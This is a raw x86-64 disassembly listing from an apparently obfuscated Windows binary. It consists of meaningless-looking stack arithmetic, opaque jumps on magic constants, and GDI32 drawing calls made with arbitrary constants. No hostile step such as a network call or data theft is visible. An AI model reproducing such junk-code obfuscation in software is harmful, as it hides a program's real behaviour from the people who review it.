movsx edx, byte [rax]
movsx eax, byte [str.__._v]
movzx ecx, al
mov eax, edx
shl eax, cl
cmp edi, eax
je 0x14003e924
mov rax, qword [rsp + 0x6f90]
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x89a8]
movzx r9d, byte [rax]
mov r8d, dword [rsp + 0x30e0]
movzx edx, byte [rsp + 0x9788]
mov rcx, qword [0x1400f62c8]
call fcn.1400b5a80
lea rax, [rsp + 0x15c4]
mov qword [rsp + 0x91d0], rax
mov rcx, qword [rsp + 0x9238]
mov eax, dword [rsp + 0x99c0]
mov ecx, dword [rcx]
or ecx, eax
mov rax, qword [rsp + 0x1a10]
mov dword [rax], ecx
mov rax, qword [rsp + 0xb690]
mov ecx, dword [rsp + 0x56a0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4af4], eax
mov rcx, qword [rsp + 0x9b18]
mov rax, qword [rsp + 0x5298]
sub rax, rcx
mov qword [rsp + 0x6e48], rax
mov rax, qword [rsp + 0x6f90]
mov rcx, qword [rsp + 0x4c78]
mov rax, qword [rax]
and rax, rcx
mov qword [0x1400f62c8], rax
mov rax, qword [rsp + 0x89a8]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0x9788]
add ecx, eax
mov rax, qword [rsp + 0x89a8]
mov byte [rax], cl
mov rax, qword [0x1400f7f18]
movzx eax, byte [rax]
movzx ecx, byte [0x1400f758a]
add eax, ecx
mov byte [rsp + 0x2348], al
mov eax, dword [rsp + 0xa8e8]
sub eax, 0xce
mov dword [rsp + 0xa8e8], eax
movsx ecx, word [rsp + 0x4274]
mov rax, qword [rsp + 0x3ba8]
movsx eax, word [rax]
sub ecx, eax
mov rax, qword [rsp + 0x3430]
mov word [rax], cx
mov rax, qword [0x1400f7f18]
movzx eax, byte [rax]
movzx ecx, byte [0x1400f758a]
add eax, ecx
mov byte [rsp + 0x2348], al
mov rax, qword [rsp + 0x7240]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa8b0]
add eax, ecx
mov word [rsp + 0x15c4], ax
mov rcx, qword [rsp + 0x8370]
mov rax, qword [rsp + 0x6e48]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [rsp + 0x8370]
mov qword [rax], rcx
mov eax, dword [rsp + 0x56a0]
mov ecx, dword [rsp + 0xb360]
sub ecx, eax
mov rax, qword [rsp + 0xb690]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x4c78]
mov rax, qword [rsp + 0xa318]
sub rax, rcx
mov qword [rsp + 0x40d8], rax
mov rax, qword [rsp + 0x1a10]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x30e0]
shl eax, cl
mov dword [0x1400f62d8], eax
mov rax, qword [rsp + 0x3430]
movsx edx, word [rax]
mov rax, qword [rsp + 0x8ba0]
movsx ecx, word [rax]
mov eax, edx
or eax, ecx
mov word [rsp + 0x4274], ax
mov rax, qword [rsp + 0x9238]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x99c0]
shr eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x1a10]
mov dword [rax], ecx
movzx ecx, word [rsp + 0xa8b0]
movzx eax, word [rsp + 0x15c4]
xor ecx, eax
mov rax, qword [rsp + 0x6f10]
mov word [rax], cx
mov rax, qword [rsp + 0xfb8]
movsx edx, word [rax]
mov rax, qword [rsp + 0x3ba8]
movsx ecx, word [rax]
mov eax, edx
and eax, ecx
mov word [rsp + 0x4274], ax
movsx edx, byte [rsp + 0x9788]
mov rax, qword [rsp + 0x7350]
movsx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0x2858], al
mov rax, qword [rsp + 0xa318]
mov rcx, qword [rsp + 0x4c78]
add rcx, rax
mov rax, qword [rsp + 0x6f90]
mov qword [rax], rcx
mov rcx, qword [rsp + 0xb690]
mov eax, dword [rsp + 0x4af4]
mov ecx, dword [rcx]
and ecx, eax
mov rax, qword [rsp + 0xb690]
mov dword [rax], ecx
cmp dword [rsp + 0xa8e8], 0x3c44
jae 0x14003e951
mov eax, dword [0x1400f7e28]
mov dword [rsp + 0xba08], eax
cmp dword [rsp + 0xba08], 0
je 0x14003ebc1
jmp 0x14003eca0
mov rax, qword [rsp + 0x6e48]
mov rcx, qword [rsp + 0x5298]
add rcx, rax
mov rax, qword [rsp + 0x8370]
mov rax, qword [rax]
add rax, qword [rsp + 0x9b18]
cmp rcx, rax
jle 0x14003ec26
mov rax, qword [rsp + 0x1238]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x99c0]
sub ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov rax, qword [rsp + 0x8370]
mov rcx, qword [rsp + 0x5298]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1400f62d0], rax
lea rax, [rsp + 0x4274]
mov qword [rsp + 0x4c58], rax
mov dword [rsp + 0x1f60], 0x8410
mov rax, qword [rsp + 0x91d0]
movzx ecx, word [rax]
mov rax, qword [rsp + 0x7240]
movzx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x91d0]
mov word [rax], cx
lea rax, [rsp + 0x2348]
mov qword [rsp + 0x5cc0], rax
movzx eax, byte [rsp + 0x9788]
mov byte [rsp + 0x6958], al
mov dword [rsp + 0x3ed8], 0xa547
lea rax, [rsp + 0x9788]
mov qword [rsp + 0x9560], rax
jmp 0x14003ed09
lea r9, [rsp + 0x6e48]
mov r8d, 0xc0
mov edx, 0x67
mov rcx, qword [rsp + 0x7488]
call qword [sym.imp.GDI32.dll_SetPaletteEntries]
mov dword [rsp + 0x1a50], eax
mov rax, qword [rsp + 0x40d8]
movzx ecx, al
mov rax, qword [rsp + 0x4c78]
shl rax, cl
mov rcx, rax
mov rax, qword [rsp + 0x6f90]
mov qword [rax], rcx
mov rdx, qword [rsp + 0x1a10]
mov rax, qword [rsp + 0x9238]
mov ecx, dword [rax]
mov eax, dword [rdx]
xor eax, ecx
mov dword [rsp + 0x99c0], eax
mov rax, qword [rsp + 0xa318]
movzx ecx, al
mov rdx, qword [rsp + 0x4c78]
shr rdx, cl
mov rcx, qword [0x1400f62c8]
mov rax, qword [rsp + 0x40d8]
or rax, rcx
cmp rdx, rax
jae 0x14003edd3
mov rcx, qword [rsp + 0x9488]
call qword [sym.imp.GDI32.dll_GetTextAlign]
mov dword [rsp + 0x60e0], eax
mov rax, qword [rsp + 0x6e48]
mov qword [rsp + 0xba10], rax
movabs rax, 0x149721954a98fa1c
cmp qword [rsp + 0xba10], rax
je 0x14003ed77
jmp 0x14003edb0
movzx eax, word [rsp + 0x4274]
mov word [rsp + 0x20], ax
mov rax, qword [rsp + 0x3ba8]
movzx r9d, word [rax]
mov r8, qword [rsp + 0x9b18]
movzx edx, byte [rsp + 0x2348]
mov rax, qword [rsp + 0x4c58]
movzx ecx, word [rax]
call fcn.1400b56b0
mov rcx, qword [rsp + 0x8370]
mov rcx, qword [rcx]
add rcx, qword [rsp + 0x9b18]
mov rax, qword [rsp + 0x8370]
mov qword [rax], rcx
jmp 0x1400b4cd0
mov rax, qword [rsp + 0xb690]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x56a0]
sub eax, ecx
mov dword [rsp + 0xb360], eax
mov rax, qword [rsp + 0x5cc0]
movzx ecx, byte [rax]
mov rax, qword [0x1400f7f18]
movzx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x5cc0]
mov byte [rax], cl
movsx ecx, word [rsp + 0x4274]
mov rax, qword [rsp + 0x3430]
movsx eax, word [rax]
and ecx, eax
mov rax, qword [rsp + 0x8ba0]
mov word [rax], cx
movzx ecx, word [rsp + 0xa8b0]
movzx eax, word [rsp + 0x15c4]
sub ecx, eax
mov rax, qword [rsp + 0x7240]
mov word [rax], cx
movsx ecx, byte [rsp + 0x6958]
movsx eax, byte [rsp + 0x2858]
sub ecx, eax
mov rax, qword [rsp + 0x7350]
mov byte [rax], cl
mov rax, qword [rsp + 0x9560]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x9788]
add eax, ecx
mov byte [rsp + 0x2858], al
mov rax, qword [rsp + 0x8370]
mov rax, qword [rax]
add rax, qword [rsp + 0x5298]
mov qword [rsp + 0x9b18], rax
mov eax, dword [rsp + 0xb360]
movzx ecx, al
mov eax, dword [rsp + 0x56a0]
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0xb690]
mov dword [rax], ecx
mov rax, qword [rsp + 0x5cc0]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0x2348]
or ecx, eax
mov rax, qword [0x1400f7f18]
mov byte [rax], cl
mov eax, dword [rsp + 0x60e0]
mov ecx, dword [rsp + 0x30e0]
xor ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov rax, qword [rsp + 0x3430]
movsx edx, word [rax]
mov rax, qword [rsp + 0x13c0]
movsx eax, word [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov word [rsp + 0x4274], ax
movzx edx, byte [0x1400f758a]
mov rax, qword [0x1400f7f18]
movzx ecx, byte [rax]
mov eax, edx
and eax, ecx
mov byte [rsp + 0x2348], al
movzx ecx, word [rsp + 0xa8b0]
movzx eax, word [rsp + 0x15c4]
sub ecx, eax
mov rax, qword [rsp + 0x91d0]
mov word [rax], cx
mov rax, qword [rsp + 0x7240]
movzx edx, word [rax]
mov rax, qword [rsp + 0x91d0]
movzx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x15c4], ax
mov rax, qword [0x1400f7f18]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x5cc0]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0x2348], al
mov rcx, qword [rsp + 0x8370]
mov rcx, qword [rcx]
add rcx, qword [rsp + 0x9b18]
mov rax, qword [rsp + 0x8370]
mov qword [rax], rcx
mov eax, dword [rsp + 0x4af4]
mov ecx, dword [rsp + 0x56a0]
sub ecx, eax
mov rax, qword [rsp + 0xb690]
mov dword [rax], ecx
mov rax, qword [rsp + 0x6f90]
mov rcx, qword [rsp + 0xa318]
mov rax, qword [rax]
and rax, rcx
mov qword [0x1400f62c8], rax
mov rcx, qword [rsp + 0x1a10]
mov rax, qword [rsp + 0x1238]
mov eax, dword [rax]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x1a10]
mov dword [rax], ecx
mov rax, qword [rsp + 0xfb8]
movsx edx, word [rax]
mov rax, qword [rsp + 0x13c0]
movsx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x4274], ax
mov rax, qword [rsp + 0x7350]
movsx ecx, byte [rax]
mov rax, qword [rsp + 0x9560]
movsx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0x89a8]
mov byte [rax], cl
mov rax, qword [rsp + 0x5cc0]
movzx edx, byte [rax]
mov rax, qword [0x1400f7f18]
movzx ecx, byte [rax]
mov eax, edx
or eax, ecx
mov byte [rsp + 0x2348], al
movzx edx, word [rsp + 0xa8b0]
mov rax, qword [rsp + 0x7240]
movzx eax, word [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov word [rsp + 0x15c4], ax
mov rax, qword [rsp + 0x89a8]
movsx ecx, byte [rax]
movsx eax, byte [str.__._v]
xor ecx, eax
mov rax, qword [rsp + 0x7350]
mov byte [rax], cl
mov rax, qword [rsp + 0x1a10]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x9238]
mov eax, dword [rax]
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x1238]
mov dword [rax], ecx
mov rax, qword [rsp + 0x9b18]
mov rcx, qword [rsp + 0x6e48]
and rcx, rax
mov rax, qword [rsp + 0x8370]
mov qword [rax], rcx
movzx ecx, byte [rsp + 0x2348]
mov rax, qword [rsp + 0x5cc0]
movzx eax, byte [rax]
sub ecx, eax
mov rax, qword [0x1400f7f18]
mov byte [rax], cl
mov rax, qword [rsp + 0x6f90]
mov rax, qword [rax]
add rax, qword [rsp + 0xa318]
mov qword [rsp + 0x40d8], rax
movzx ecx, byte [rsp + 0x2348]
movzx eax, byte [0x1400f758a]
sub ecx, eax
mov rax, qword [rsp + 0x5cc0]
mov byte [rax], cl
movzx ecx, word [rsp + 0xa8b0]
movzx eax, word [rsp + 0x15c4]
sub ecx, eax
mov rax, qword [rsp + 0x6f10]
mov word [rax], cx
mov eax, dword [rsp + 0x8b2c]
add eax, 0xef
mov dword [rsp + 0x8b2c], eax
mov rax, qword [rsp + 0x89a8]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0x2858]
add ecx, eax
mov rax, qword [rsp + 0x9560]
mov byte [rax], cl
mov rax, qword [rsp + 0x3ba8]
movsx ecx, word [rax]
mov rax, qword [rsp + 0x4c58]
movsx eax, word [rax]
sub ecx, eax
mov rax, qword [rsp + 0x8ba0]
mov word [rax], cx
movsx ecx, word [rsp + 0x4274]
mov rax, qword [rsp + 0x13c0]
movsx eax, word [rax]
and ecx, eax
mov rax, qword [rsp + 0x8ba0]
mov word [rax], cx
mov rcx, qword [rsp + 0x8370]
mov rcx, qword [rcx]
add rcx, qword [rsp + 0x9b18]
mov rax, qword [rsp + 0x8370]
mov qword [rax], rcx
mov rcx, qword [rsp + 0xa318]
mov rax, qword [rsp + 0x6f90]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x4c78], rax
mov rdx, qword [rsp + 0x1a10]
mov rax, qword [rsp + 0x9238]
mov ecx, dword [rax]
mov eax, dword [rdx]
or eax, ecx
mov dword [0x1400f7e28], eax
mov rcx, qword [rsp + 0x1a10]
mov rax, qword [rsp + 0x9238]
mov eax, dword [rax]
mov ecx, dword [rcx]
xor ecx, eax
mov rax, qword [rsp + 0x1a10]
mov dword [rax], ecx
movzx edx, word [rsp + 0x15c4]
mov rax, qword [rsp + 0x7240]
movzx eax, word [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov word [rsp + 0xa8b0], ax
movsx ecx, byte [rsp + 0x2858]
mov rax, qword [rsp + 0x7350]
movsx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x89a8]
mov byte [rax], cl
mov rax, qword [rsp + 0x13c0]
movsx ecx, word [rax]
mov rax, qword [rsp + 0x3430]
movsx eax, word [rax]
and ecx, eax
mov rax, qword [rsp + 0x3ba8]
mov word [rax], cx
movzx edx, byte [0x1400f758a]
mov rax, qword [rsp + 0x5cc0]
movzx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x2348], al
mov rax, qword [rsp + 0x9560]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x7350]
movsx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x9788], al
mov rax, qword [rsp + 0xb690]
mov ecx, dword [rax]
add ecx, dword [rsp + 0xee0]
mov rax, qword [rsp + 0xb690]
mov dword [rax], ecx
mov rax, qword [rsp + 0xa318]
mov rcx, qword [rsp + 0x4c78]
sub rcx, rax
mov rax, qword [rsp + 0x6f90]
mov qword [rax], rcx
mov rax, qword [rsp + 0x5298]
mov rcx, qword [rsp + 0x6e48]
add rcx, rax
mov rax, qword [rsp + 0x8370]
mov qword [rax], rcx
movzx ecx, byte [rsp + 0x2348]
movzx eax, byte [0x1400f758a]
add ecx, eax
mov rax, qword [0x1400f7f18]
mov byte [rax], cl
mov rax, qword [rsp + 0x4c58]
movsx edx, word [rax]
mov rax, qword [rsp + 0xfb8]
movsx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x4274], ax
cmp dword [rsp + 0x8b2c], 0xc70e
jne 0x14003edd3
lea rax, [rsp + 0x2348]
mov qword [rsp + 0xa650], rax
movzx ecx, word [rsp + 0xa8b0]
mov rax, qword [rsp + 0x7240]
movzx eax, word [rax]
and ecx, eax
mov rax, qword [rsp + 0x91d0]
mov word [rax], cx
lea rax, [rsp + 0x15c4]
mov qword [rsp + 0xacd8], rax
mov rcx, qword [rsp + 0xb690]
mov eax, dword [rsp + 0xb360]
mov edx, dword [rcx]
xor edx, eax
mov ecx, dword [rsp + 0xee0]
mov eax, dword [rsp + 0x4af4]
or eax, ecx
cmp edx, eax
jg 0x14003f4ea
mov rax, qword [rsp + 0x4c58]
movsx ecx, word [rax]
movsx eax, word [rsp + 0x4274]
add ecx, eax
mov rax, qword [rsp + 0x13c0]
mov word [rax], cx
mov rax, qword [rsp + 0x40d8]
mov qword [rsp + 0x3758], rax
mov rax, qword [rsp + 0x13c0]
movsx eax, word [rax]
mov dword [rsp + 0xba18], eax
cmp dword [rsp + 0xba18], 0
je 0x14003f44e
jmp 0x14003f4ce
movsx eax, word [rsp + 0x4274]
mov dword [rsp + 0xba1c], eax
cmp dword [rsp + 0xba1c], 0x41b6
je 0x14003f46c
jmp 0x14003f4cc
mov rax, qword [rsp + 0xb690]
mov ecx, dword [rsp + 0xb360]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xee0], eax
mov rax, qword [rsp + 0x9b18]
mov rcx, qword [rsp + 0x5298]
and rcx, rax
mov rax, qword [rsp + 0x8370]
mov qword [rax], rcx
lea r9, [rsp + 0x8370]
mov r8d, 0x76
mov edx, 0x7a
mov rcx, qword [rsp + 0xa18]
call qword [sym.imp.GDI32.dll_SetDIBColorTable]
mov dword [rsp + 0x30e0], eax
jmp 0x14003f4e8
movzx ecx, byte [rsp + 0x2348]
movzx eax, byte [0x1400f758a]
add ecx, eax
mov rax, qword [0x1400f7f18]
mov byte [rax], cl
jmp 0x14003f53d
mov rax, qword [rsp + 0x8370]
mov rax, qword [rax]
movzx ecx, al
mov rdx, qword [0x1400f62d0]
shl rdx, cl
mov rax, qword [rsp + 0x6e48]
movzx ecx, al
mov rax, qword [rsp + 0x5298]
sar rax, cl
cmp rdx, rax
jle 0x14003f53d
mov rax, qword [rsp + 0xa650]
movzx eax, byte [rax]
movzx ecx, byte [0x1400f758a]
add eax, ecx
mov byte [rsp + 0x2348], al
call fcn.1400b5160
mov dword [rsp + 0x1e0c], 0xefb0
mov rax, qword [rsp + 0xacd8]
movzx edi, word [rax]
movzx eax, word [rsp + 0x15c4]
sub edi, eax
movzx edx, word [rsp + 0xa8b0]
mov rax, qword [rsp + 0x7240]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
cmp edi, eax
jle 0x14003f651
mov rax, qword [rsp + 0x3ba8]
movsx edx, word [rax]
mov rax, qword [rsp + 0x3430]
movsx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x4274], ax
lea rdx, [rsp + 0x79d8]
mov ecx, 0x79
call qword [sym.imp.GDI32.dll_SetMetaFileBitsEx]
mov qword [rsp + 0x79d8], rax
movsx edx, byte [rsp + 0x6958]
movsx eax, byte [rsp + 0x2858]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x89a8]
mov byte [rax], cl
mov dword [rsp + 0x58], 0xb3
lea rax, [rsp + 0x1a10]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x4ba8]
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x40], 0xc3
mov dword [rsp + 0x38], 0xe5
mov dword [rsp + 0x30], 0xfd
mov dword [rsp + 0x28], 0xcd
mov dword [rsp + 0x20], 0x75
mov r9d, 0x5e
mov r8d, 0x33
mov edx, 0x63
mov rcx, qword [rsp + 0x2f70]
call qword [sym.imp.GDI32.dll_SetDIBitsToDevice]
mov dword [rsp + 0x6804], eax
jmp 0x1400b4cb0
mov rax, qword [rsp + 0x91d0]
movzx eax, word [rax]
mov dword [rsp + 0xba20], eax
cmp dword [rsp + 0xba20], 0xc7c
je 0x14003f675
jmp 0x14003f834
mov rax, qword [rsp + 0x7350]
movsx eax, byte [rax]
movsx ecx, byte [str.__._v]
or eax, ecx
mov byte [rsp + 0x2858], al
mov rcx, qword [rsp + 0xa318]
mov rax, qword [rsp + 0x6f90]
mov rax, qword [rax]
shl rax, cl
mov rcx, rax
mov rax, qword [rsp + 0x6f90]
mov qword [rax], rcx
mov eax, dword [rsp + 0x99c0]
mov dword [rsp + 0xba24], eax
cmp dword [rsp + 0xba24], 0x43042fd9
je 0x14003f80e
cmp dword [rsp + 0xba24], 0xc65d57db
je 0x14003f6e5
jmp 0x14003f82f
mov rdx, qword [rsp + 0x6f90]
mov rax, qword [rsp + 0x3758]
mov rdx, qword [rdx]
xor rdx, rax
mov rcx, qword [rsp + 0x4c78]
mov rax, qword [rsp + 0x40d8]
and rax, rcx
cmp rdx, rax
jne 0x14003f80c
lea r9, [rsp + 0x9560]
mov r8d, 0xcb
mov edx, 0xad
mov rcx, qword [rsp + 0x1358]
call qword [sym.imp.GDI32.dll_GetCharWidthW]
mov dword [rsp + 0x58d4], eax
mov rax, qword [rsp + 0x91d0]
movzx eax, word [rax]
mov dword [rsp + 0xba28], eax
cmp dword [rsp + 0xba28], 0x8d4
je 0x14003f763
jmp 0x14003f7ee
mov rcx, qword [rsp + 0x8370]
mov rax, qword [rsp + 0x9b18]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [rsp + 0x8370]
mov qword [rax], rcx
mov rax, qword [rsp + 0xb690]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x6804]
sub eax, ecx
mov dword [rsp + 0xb360], eax
mov dword [rsp + 0x40], 0xa7
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0xa8
mov dword [rsp + 0x28], 0xda
mov dword [rsp + 0x20], 0x34
mov r9d, 0x33
mov r8d, 0x47
mov edx, 0xe1
mov rcx, qword [rsp + 0x83a8]
call qword [sym.imp.GDI32.dll_ArcTo]
mov dword [rsp + 0x2cb8], eax
jmp 0x14003f80c
movzx ecx, byte [rsp + 0x2348]
mov rax, qword [rsp + 0xa650]
movzx eax, byte [rax]
and ecx, eax
mov rax, qword [0x1400f7f18]
mov byte [rax], cl
jmp 0x14003f82f
mov rax, qword [rsp + 0x5cc0]
movzx edx, byte [rax]
mov rax, qword [rsp + 0xa650]
movzx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x2348], al
jmp 0x14003f9b6
movsx edx, byte [rsp + 0x2858]
movsx eax, byte [rsp + 0x6958]
sub edx, eax
mov rax, qword [rsp + 0x9560]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x9788]
add eax, ecx
cmp edx, eax
jl 0x14003f9b6
mov eax, dword [rsp + 0x1a50]
mov dword [rsp + 0xba2c], eax
cmp dword [rsp + 0xba2c], 0
je 0x14003f891
cmp dword [rsp + 0xba2c], 0x3b820e2b
je 0x14003f98b
jmp 0x14003f9b6
movzx edi, byte [rsp + 0x2348]
mov rax, qword [rsp + 0x5cc0]
movzx eax, byte [rax]
add edi, eax
movzx edx, byte [0x1400f758a]
mov rax, qword [rsp + 0xa650]
movzx ecx, byte [rax]
mov eax, edx
add eax, ecx
cmp edi, eax
jg 0x14003f989
movzx edi, word [rsp + 0x15c4]
mov rax, qword [rsp + 0x6f10]
movzx eax, word [rax]
movzx ecx, al
shl edi, cl
movzx edx, word [rsp + 0xa8b0]
mov rax, qword [rsp + 0x7240]
movzx ecx, word [rax]
mov eax, edx
or eax, ecx
cmp edi, eax
jg 0x14003f989
movsx edx, word [rsp + 0x4274]
mov rax, qword [rsp + 0x13c0]
movsx eax, word [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x3ba8]
mov word [rax], cx
lea rax, [rsp + 0x2348]
mov qword [rsp + 0x2740], rax
movsx eax, byte [rsp + 0x6958]
movsx ecx, byte [rsp + 0x9788]
xor eax, ecx
mov byte [rsp + 0x2858], al
lea rax, [rsp + 0x15c4]
mov qword [rsp + 0x9bd0], rax
movsx ecx, word [rsp + 0x4274]
mov rax, qword [rsp + 0x3430]
movsx eax, word [rax]
and ecx, eax
mov rax, qword [rsp + 0x8ba0]
mov word [rax], cx
mov eax, dword [rsp + 0x99c0]
mov dword [rsp + 0x6e98], eax
jmp 0x14003f9b6
mov r9, qword [rsp + 0x3758]
mov r8, qword [rsp + 0x8370]
mov r8, qword [r8]
mov rdx, qword [rsp + 0x6e48]
mov rcx, qword [rsp + 0x8370]
mov rcx, qword [rcx]
call fcn.1400b5010
lea rax, [rsp + 0xb360]
mov qword [rsp + 0x2f8], rax
lea rax, [rsp + 0x6958]
mov qword [0x1400f7548], rax
lea rax, [rsp + 0x6e48]
mov qword [rsp + 0x9a10], rax
mov rax, qword [rsp + 0x6f90]
mov rax, qword [rax]
add rax, qword [0x1400f62c8]
mov qword [rsp + 0x3758], rax
mov rax, qword [rsp + 0xfb8]
movsx eax, word [rax]
mov dword [rsp + 0xba30], eax
cmp dword [rsp + 0xba30], 0
je 0x14003fa31
cmp dword [rsp + 0xba30], 0x3fd8
je 0x14003fb5e
jmp 0x14003fc3b
mov rax, qword [rsp + 0xa650]
movzx ecx, byte [rax]
mov rax, qword [rsp + 0x2740]
movzx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0xa650]
mov byte [rax], cl
mov rdx, qword [rsp + 0x6f90]
mov rdx, qword [rdx]
add rdx, qword [0x1400f62c8]
mov rcx, qword [rsp + 0x3758]
mov rax, qword [rsp + 0x4c78]
sub rax, rcx
cmp rdx, rax
ja 0x14003fb40
lea rax, [rsp + 0x6958]
mov qword [rsp + 0xb208], rax
mov dword [rsp + 0x6f78], 0x8b9a
mov rax, qword [rsp + 0x8370]
mov rax, qword [rax]
mov qword [rsp + 0xba38], rax
cmp qword [rsp + 0xba38], 0
je 0x14003fabc
jmp 0x14003fb03
mov rax, qword [rsp + 0x6f10]
movzx eax, word [rax]
mov word [rsp + 0x5218], ax
mov rax, qword [rsp + 0xa650]
movzx ecx, byte [rax]
mov rax, qword [rsp + 0x2740]
movzx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0xa650]
mov byte [rax], cl
lea rax, [rsp + 0x5218]
mov qword [rsp + 0x69c8], rax
jmp 0x14003fb3e
mov dword [rsp + 0x28], 0xde
mov dword [rsp + 0x20], 0x32
lea r9, [rsp + 0x5da0]
mov r8d, 0x8c
lea rdx, [rsp + 0x4ba8]
mov rcx, qword [rsp + 0x1358]
call qword [sym.imp.GDI32.dll_GdiGradientFill]
mov dword [rsp + 0x7b50], eax
jmp 0x14003fb59
mov eax, dword [rsp + 0x99c0]
mov ecx, dword [0x1400f7e28]
sub ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
jmp 0x14003fc3b
mov rcx, qword [rsp + 0x1238]
mov rax, qword [rsp + 0x9238]
mov eax, dword [rax]
mov edx, dword [rcx]
sub edx, eax
mov rax, qword [rsp + 0x1a10]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x99c0]
or eax, ecx
cmp edx, eax
jb 0x14003fc0a
mov ecx, dword [rsp + 0x60e0]
mov eax, dword [rsp + 0x1a50]
xor eax, ecx
mov dword [0x1400f62d8], eax
mov rcx, qword [rsp + 0xa318]
mov rax, qword [rsp + 0x6f90]
mov rax, qword [rax]
shl rax, cl
mov rcx, rax
mov rax, qword [rsp + 0x6f90]
mov qword [rax], rcx
xor r8d, r8d
mov rdx, qword [rsp + 0x4ba8]
mov rcx, qword [rsp + 0x2f70]
call qword [sym.imp.GDI32.dll_SelectPalette]
mov qword [rsp + 0x7140], rax
mov rcx, qword [rsp + 0x5298]
mov rax, qword [rsp + 0x9a10]
mov rax, qword [rax]
sar rax, cl
mov rcx, rax
mov rax, qword [rsp + 0x8370]
mov qword [rax], rcx
movsx eax, byte [rsp + 0x2858]
movsx ecx, byte [rsp + 0x6958]
and eax, ecx
mov byte [rsp + 0x9788], al
mov rax, qword [rsp + 0x7350]
movzx edx, byte [rax]
movzx ecx, word [rsp + 0x4274]
call fcn.1400b55e0
mov rax, qword [rsp + 0x2740]
movzx ecx, byte [rax]
mov rax, qword [rsp + 0xa650]
movzx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x5cc0]
mov byte [rax], cl
mov rax, qword [rsp + 0x9560]
movzx eax, byte [rax]
mov byte [rsp + 0x9130], al
mov al, byte [rsp + 0x2858]
mov byte [rsp + 0xba40], al
cmp byte [rsp + 0xba40], 0x4c
je 0x14003fc8c
jmp 0x14003fd60
mov rax, qword [rsp + 0x9560]
movsx edi, byte [rax]
movsx eax, byte [rsp + 0x9788]
add edi, eax
movsx edx, byte [rsp + 0x2858]
mov rax, qword [rsp + 0x89a8]
movsx ecx, byte [rax]
mov eax, edx
add eax, ecx
cmp edi, eax
jge 0x14003fd26
movsx ecx, word [rsp + 0x4274]
mov rax, qword [rsp + 0x3ba8]
movsx eax, word [rax]
sub ecx, eax
mov rax, qword [rsp + 0x3430]
mov word [rax], cx
mov rax, qword [rsp + 0x8ba0]
movsx edx, word [rax]
mov rax, qword [rsp + 0x4c58]
movsx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x4274], ax
lea r9, [rsp + 0xa838]
mov r8d, 0xdc
mov edx, 0x6d
mov rcx, qword [rsp + 0xa18]
call qword [sym.imp.GDI32.dll_SetDIBColorTable]
mov dword [rsp + 0x46cc], eax
mov rax, qword [rsp + 0x6f90]
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
movzx r9d, byte [rsp + 0x2858]
mov r8d, dword [0x1400f7e28]
movzx edx, byte [rsp + 0x9130]
mov rcx, qword [rsp + 0xa318]
call fcn.1400b5a80
jmp 0x14003fe9d
mov rdx, qword [rsp + 0x6f90]
mov rax, qword [rsp + 0xa318]
mov rdx, qword [rdx]
and rdx, rax
mov rcx, qword [rsp + 0x3758]
mov rax, qword [rsp + 0x4c78]
sub rax, rcx
cmp rdx, rax
jbe 0x14003fe92
movsx edi, word [rsp + 0x4274]
